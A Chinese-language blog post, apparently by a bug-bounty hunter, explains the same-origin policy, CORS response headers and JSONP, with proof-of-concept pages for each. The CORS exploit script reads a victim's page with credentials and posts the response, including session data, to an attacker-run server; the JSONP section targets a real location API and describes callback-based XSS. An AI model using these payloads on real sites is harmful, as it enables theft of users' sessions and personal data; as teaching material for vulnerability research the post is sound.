目录
一.前言最近在接触一些src的挖掘,大家可能在一些小的src平台能够逐渐看见我的名字了(bushi,别开盒我),但网上大多数讲的相关漏洞挖掘太偏向于应用,并没有详细的解析过程,故产生了这篇文章
二.大致介绍在我最近挖到的src中,都没有遇到相关漏洞,对于jsonp和cors的印象,大致还停留在上次面试被问到这两者的区别。在这之前我们就需要知道浏览器的同源策略。 同源策略: 在同协议,同域名 同端口的情况下,两个网站可以相互执行对应页面脚本,进行资源交互 但由于业务的需求,有些时候确实需要实现跨域资源共享,这个时候就出现了jsonp和cors 两者的区别在于,cors可以支持get,put,delete,post等请求,而jsonp只能支持简单的get请求
三.cors我对于cors的理解类似于csrf,但不同于csrf,csrf一旦添加同源协议,就无法实现,而cors正是实现在同源协议上的漏洞->即没有实施严格过滤的同源协议从而导致产生任意页面可执行加载资源的漏洞。
cors包括以下几个响应头 Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源或通配符(*),表示允许来自任意源的访问。
Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
Access-Control-Allow-Headers:指定允许的请求头字段。
Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
Access-Control-Max-Age:指定预检请求(OPTIONS)的有效期,以减少对服务器的频繁请求。
这里提供一个代码实例
这个请求可以泄露自己的sessionId 观察响应体 不拦截,则证明存在该漏洞 poc如下 <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>CORS test</h1>
</body>
</html>
<script>
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
xhr2.open("POST","http://要输入自己的炮台文件地址(需要公网ip)","true");
alert('3');
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");
xhr2.send("T1="+escape(datas));
}
}
xhr1.open("GET","https://要输入的存在cors漏洞的url地址","true") //request user page.
alert(xhr1.responseText);
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>然后构造一个服务端php去接受data即可 成功复现
四.jsonpjsonp大多数跟callback参数有关(这也涉及到另外一个漏洞,jsonpxss) jsonp跟cors几乎是同理的,只是范围小了许多,只能使用get请求 poc如下 <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP暴露ip</title>
</head>
<body>
<script type="text/javascript">
function ip_callback(result)
{
alert(result.result.country);
alert(result.result.province);
alert(result.result.city);
alert(result.result.ip);
}
</script>
<script type="text/javascript" src="https://ipservice.ws.126.net/locate/api/getLocByIp?callback=ip_callback"></script>
</body>
</html>
而jsonp的xss测试方法则更为简单 两个条件 1.返回包里面的content-type为text/html 2.callback参数可控,直接插入<script>标签即可看返回页面。
|